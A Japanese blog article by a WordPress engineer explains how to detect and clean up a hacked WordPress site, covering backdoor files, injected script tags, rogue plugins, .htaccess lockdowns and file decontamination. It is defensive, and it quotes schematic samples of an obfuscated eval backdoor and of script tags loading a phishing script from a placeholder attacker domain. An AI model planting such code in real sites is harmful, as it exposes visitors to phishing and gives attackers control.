この記事を書く人と信憑性
家富正幸(いえとみまさゆき)
現役のWordPressエンジニア(エンジニア歴16年)
大規模から小規模までのWordPressテーマ開発実績数は800件以上
実際にクライアントが受けてしまった改ざんやハッキング被害の数々を復旧してきた実績あり
本記事では、改ざん・ハッキングの被害に遭ってしまった方のために、自力で解決する方法を解説していきます。
はじめに
WordPressはその利用率の高さから、世界中でハッキングやウイルス感染などの被害が相次いでいます。
ハッキングやウイルス感染などの不正アクセスは、実は簡単なセキュリティ対策をすれば防げることがほとんどなのですが、今日は万が一ウイルスに感染してしまったときの対処法の一例をご紹介します。
本記事の対象者
本日の記事は、下記のような技術を持っている方向けの内容となります。
1つでも分からないことがある場合、自体を更に悪化させてしまう恐れが高いため、自分で触ることは避け、まずは制作会社やエンジニアに相談してください。
- .htaccessの記述が理解できること
- FTPによってサーバー内のファイルが編集できること
- PHPファイルの編集が出来ること(ある程度内容がわかること)
本記事の注意点
また、あくまでも一例であるため、ウイルス感染や不正アクセスの全てのケースに当てはまる物ではありません。
改ざん・ハッキングの内容も日々進化していますので、対処に不安がある場合には、こちらも迷わず制作会社やエンジニアに相談してください。
私たちインスパイアデザインが、改ざん・ハッキング被害の復旧作業を代行いたします。まずは症状をお聞かせください。お問い合わせはこちら
【事前知識】WordPressのウイルス感染とは
WordPressがウイルスに感染してしまうと、具体的にどのようなことが起こるのでしょうか?
私たちクライアント様が受けた被害や相談
不正なメールを一斉送信するプログラムを設置され、サーバー側からウェブサイトそのものを止められてしまった
不正なプラグインをインストールされ、閲覧したユーザーがフィッシングサイトに飛ばされるようになった
投稿のデータに不正なスクリプトを埋め込まれ、怪しい広告がウェブサイトに表示されるようになってしまった
どれも不正にWordPressにログインされるなどして、サーバー内やWordPressの記事内部に、不正なプログラムを埋め込まれてしまったのが原因です。
上記のような状態になった際、不正アクセス者はWordPressの全てのデータにアクセス出来る状況になっていることが多く、実際には会員情報などの個人情報なども抜き取られている可能性も否定できません。
改ざん・ハッキング被害の復旧作業について
STEP1:本当にウイルス感染かどうかウィルスチェックを行う
ウェブサイトが、上記で紹介したような「ウイルス感染」の症状が見られるようであれば、まずは確認を行う必要があります。
これらは第三者からの通報(閲覧者や、サーバー会社)で判明することが多いため、そういった連絡があった場合には速やかにサイトの確認をしましょう。
ここでチェックするべきポイントは3つです。
- 作成した覚えの無い「謎のファイル」がサーバー上に存在しないか
- 投稿データの本文などに、入れた覚えの無いscriptタグが記述されていないか
- 入れた覚えのない、怪しいプラグインが有効化されていないか
もし下記に示すような症状があるようであれば、直ぐにSTEP2以降を実施しましょう。
作成した覚えの無い「謎のファイル」が存在する
ウイルス感染の最も多いケースとして、サーバーの内部に「バックドア」という外部からサーバー内に侵入出来る「入口」を作られてしまうことがあります。
このケースでよくあるのが、サーバーの中に「xhe3kz.php」や「daq34bd.php」のような意味の無い名称のPHPファイルが存在したり、「photo.php」「management.php」など一見意味がありそうな名前にみえて、アップロードした覚えのない箇所にPHPファイルが存在していたりすることです。
もし、上記のようなファイルが見つかったら、ダウンロードして中身を見てみましょう。
中身が
<?php $['xxx'] = '{意味不明なコードの羅列が1000文字くらい}'; eval($xxxxxx($['xxx']));
のような、一見して「???」となるようなコードが記述されていた場合、十中八九不正なプログラムです。
「ウイルスファイルでしょ!?ダウンロードなんて怖い!」という方もいらっしゃると思いますが、ウイルス感染とはいってもPHPファイルなどに埋め込まれた不正なコードは、WindowsやMacのテキストエディタで開いても「感染」はしません。
PHPを実行するプラットフォームの上で、PHPファイルとして実行したときにだけ不正な動作をするようになっているので、確認などでダウンロードする分には問題ありません。
また、その他にwp-config.phpやwp-load.phpなど、WordPressが設置したPHPファイルの中身の一部を書き換えて、バックドアとして機能するように改ざんされている巧妙なケースも存在します。
投稿データの本文に入れた覚えの無い「スクリプト」が入っている
このケースはあまり見かけたことはないのですが、投稿の本文エリアの最下部にあるリンク付近に、下記のようなコードが貼り付けられていた事例がありました。
<strong><script src='https://{ハッキング元サイトのドメイン}/scripts.js' type='text/javascript'></script><script src='https://{ハッキング元サイトのドメイン}/scripts.js' type='text/javascript'></script><script src='https://{ハッキング元サイトのドメイン}/scripts.js' type='text/javascript'></script><a href="http://www.amazon.co.jp/{amazonのURL}">リンク名が入りますリンク名が入ります</a></strong>
謎のドメインからスクリプトを呼び出し、その記事を閲覧したタイミングでJavaScriptが実行され、閲覧したユーザーを不正なフィッシングサイトへ遷移させてしまうスクリプトでした。
通常、scriptタグは記事内部に書くことは稀ですので、記事内部にこういった記述が存在している場合、そのページだけの意図的なものでないかぎり、注意して見る必要があるでしょう。
入れた覚えの無い怪しいプラグインが入っていないか
不正アクセス専用のプラグインが勝手にインストールされ、有効化されている場合などがあります。
入れた覚えの無いプラグインが「プラグイン一覧」に入っていたり、またプラグインディレクトリに、入れた覚えの無いプラグインのファイルが存在している場合などは、中のファイルなどを確認してみる必要があります。
過去見た事例では、
wp-content/plugins/bbx/
というディレクトリが不正に生成され、Google検索からアクセスしてきたユーザーを不正なウェブサイトへ遷移させるという動作を行っていました。
STEP2:.htaccessを使って海外からのアクセスを一時的にシャットアウト
上記の不正なファイルや不正な記述、不正なプラグインなどがウェブサイト内に発見されてしまったら、まず海外からのアクセスを一時的に遮断しましょう。
この対処がどういう意味を持つかというと、
- 不正アクセスの大半が海外からのアクセスによるものであること
- 不正アクセスしているユーザーがサイトにアクセスできると、除染中に同時に不正ファイルを設置されるなどして、いたちごっこになってしまう
という状態に対処するためです。
海外からのアクセス制限については、自動で海外からのIPアドレスを弾くための.htaccessを生成してくれるサービスがありますので、そちらを利用します。
こちらのサイトで「.htaccessをダウンロード」というボタンをクリックすることで、8000行を超える非常に大きな.htaccessファイルが生成され、ダウンロードされます。
ただし、この状態ではGoogle等のクローラーも弾いてしまうため、設置中に検索エンジンから除外されてしまうなどの問題が発生する場合があります。
下記の記述をダウンロードした.htaccessの最後に追加し、主要なクローラーはアクセスが可能なように調整しましょう。
SetEnvIf User-Agent “Googlebot” crawlerbot SetEnvIf User-Agent “bingbot” crawlerbot Allow from env=crawlerbot
こちらのファイルをサーバーのルートディレクトリにアップすることで、取り急ぎ海外からのアクセスを遮断することができます。
海外向けサイトの場合
海外向けのサイトや、不正アクセスが国内からの場合ではこの方法が利用出来ないため、自分自身のIPアドレスからのアクセス以外を遮断し、その他のユーザーはメンテナンス画面に移動させるなどの処置が必要になります。
その場合の.htaccessファイルは、同様にサーバーのルートディレクトリに下記の内容を参考に設置して下さい。
ErrorDocument 503 /maintenance.html <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{REQUEST_URI} !=/maintenance.html RewriteCond %{REMOTE_ADDR} !=192.168.0.1 RewriteRule ^.*$ - [R=503,L] </IfModule>
上記の192.168.0.1の箇所には、自分のIPアドレスを入れてください。
STEP3:WordPressから全ての管理者をログアウトさせ、パスワードを変更する
次に、念のため不正アクセスの被害にあってしまった可能性がある「全ての管理者ユーザー」をサイトからログアウトさせましょう。
ここで「管理者」と指定したのは、編集者や投稿者の権限ではファイルの改ざんなどは基本的に行えないためです。
WordPressの管理者は、他のユーザーをサイト上から強制的にログアウトさせる機能を利用することが出来ます。
管理画面のユーザー一覧画面からユーザーの編集ページを開き、そこから「ログアウトさせる」ボタンによって、ログアウトさせましょう。
さらに同様の画面から、パスワードの変更してください。
ここでは自動生成の強固なパスワードを利用することをお勧めします。
自分自身のアカウントも忘れずにパスワードの変更を行い、1度ログアウトするようにして下さい。
STEP4:ファイルの除染
ようやく除染作業の準備が整いました。
STEP2とSTEP3を飛ばしてしまうと、除染作業中に再度不正アクセスをされ、別の不正なファイルや記述をサイトに入れられてしまう可能性があります。
必ずSTEP2・STEP3を実施してから、除染作業に入るようにしましょう。
WordPressコアファイルの除染
まず、WordPressのコアファイルを除染しましょう。
- /wp-admin/
- /wp-include/
- /wp-*.php
といったファイルやディレクトリは、ファイルやディレクトリごと削除してしまい、現在利用しているWordPressと同じバージョンの本体を公式サイトからダウンロードし、展開したファイルと差し替えます。
- /wp-config.php
については削除してしまうとデータベースなどにアクセスできなくなってしまいますから、削除をせず内部の記述に不正なものが無いかをチェックし、あればそちらの記述を削除するようにしましょう。
WordPressのコアファイル改造しているといったパターンは、そもそも公式でも推奨されていませんからここでは取り扱いません。
プラグインの除染
プラグインファイルについても、公式ディレクトリに登録されているものは、WordPressの公式ディレクトリから最新の本体をダウンロードできますから、プラグインの一覧をメモした上で、全て物理的に削除してしまってください。
もし全てのプラグインを削除しても、/wp-content/plugins/ ディレクトリが空にならない場合には、残っているファイルが不正なファイルの可能性がありますので、中身を確認して削除するようにして下さい。
そして、公式ディレクトリから同様のプラグインをダウンロードして有効化します。
これで、プラグインファイルへの感染があったとしても、全て公式ディレクトリの最新版で差し替えられました。
最新バージョンでは不具合が起きる、などの場合は公式ディレクトリに過去バージョンも掲載されているので、そちらからダウンロードするようにしてください。
すでに公開終了してしまったプラグインや、独自に開発したプラグインを使っている場合には、そちらは削除せず、内部のファイルを1つ1つチェックし、不正ファイルが存在したら削除するという地道な除染作業が必要です。
アップロードファイルの除染
WordPressのディレクトリ /wp-content/uploads/ には、ユーザーがアップロードしたファイルが内部に蓄積されています。
不正アクセスを行うウイルスには、こちらのディレクトリの中に不正なファイルを設置するものが非常に多い印象です。
手っ取り早い対処方法として、/wp-content/uploads/ ディレクトリをそのままローカル環境にダウンロードし、.php の拡張子でファイル検索を行います。
ここで .php ファイルが検出された場合、高確率でウイルスファイルの可能性があります。
内部を確認し、不正ファイルであれば削除して下さい。
ローカルにダウンロードしたファイルを、ノートンやESET、AVASTといった「ウイルス対策ソフト」でスキャンしてみるのもひとつの方法です。
最近のウイルス対策ソフトではPHPファイルのソースコードに関するウイルス感染なども見つけてくれるため、この方法で確認してみるのも非常に有効ですが、ファイルごと駆除されてしまう場合があるので、確認だけにとどめ内部は手作業で除染するようにしてください。
除染が完了したら、サーバー上の /wp-content/uploads/ ディレクトリを削除した上で、除染済みの /uploads/ ディレクトリをサーバーにアップロードしましょう。
これでアップロードファイルの除染が出来ました。
テーマファイルの除染
最後にテーマファイルの除染を行います。
もしお使いのWordPressに、利用している以外のテーマファイルが存在していれば、そちらは全てローカル環境にバックアップしサーバーから削除して下さい。
/wp-content/themes/ ディレクトリの中には現在使っているテーマが1つだけ残っている状態にしましょう。
その上で、利用しているテーマの中に不正なファイルが無いか、チェックをしていく作業になります。
STEP1で紹介した不正な記述に当てはまるものがあったら、その部分を削除する等の対処を行って下さい。
特に気をつけるべき記述は eval 関数と base64_decode 関数です。
ほぼ全てのウイルス・マルウェアの記述に、上記の関数が利用されているため、こちらの記述がテーマファイル内に見つかったとすれば、非常に怪しいです。
STEP1で紹介したようなコードが多量に埋め込まれていれば、そちらの記述を削除するようにしてください。
ただ、その記述が本当にテーマのものなのか、ウイルスに改ざんされてしまった箇所なのかを判断するのは難しいので、もし迷って対応が出来ないようであれば、迷わず専門の業者に依頼をするべきでしょう。
もしテーマファイルがどこかで購入したものであれば、購入した当時のテーマファイルと比較し、どこが改ざんされているのかを比較してみるのもひとつの手段です。
また、どこかの開発会社に依頼して作成したものであれば、そちらの会社から再度納品データを取り寄せて、内部の比較を行ってみるのも確認の方法として有効です。
STEP5:セキュリティ対策
これで一通りの除染作業が終了しました。
次に、これから不正アクセスの被害に遭わないために、セキュリティ対策を施しておきましょう。
下記の記事にセキュリティ対策の内容をまとめていますから、こちらを参考にセキュリティ対策を行って下さい。
STEP6:htaccessの事後処理
最後に、STEP2で実施した.htaccessのアクセス制限を解除しましょう。
こちらを制限したままにすると、海外からのアクセスが一切出来なくなってしまいますので、海外向けの記事などを掲載している場合は死活問題になります。
またクローラーについては個別に許可するように記載をいれていますが、SEO的に不利益がないという保証が出来ないため、アクセス制限については解除することをオススメします。
さいごに
いかがだったでしょうか?
ウイルス感染に関しては、具体的な感染範囲や感染内容によって対処する内容が多岐にわたるのですが、ファイルや記事への感染であれば、上記の方法で概ね駆除することが出来ると思います。
ただ、どうしてもPHPの知識やWordPressの知識、.htaccessの知識などが必須になってきてしまいますので、対処に自信の無い方や、ご自身での判断に迷われた場合には、迷わず専門業者に依頼してください。
また、少しでも感染が残っている場合には、その感染から全体に再度感染してしまうという被害も確認されていますので、感染のチェックや除染作業は、確実に実施するように心がけて下さい。
私たちインスパイアデザインが、改ざん・ハッキング被害の復旧作業を代行いたします。まずは症状をお聞かせください。お問い合わせはこちら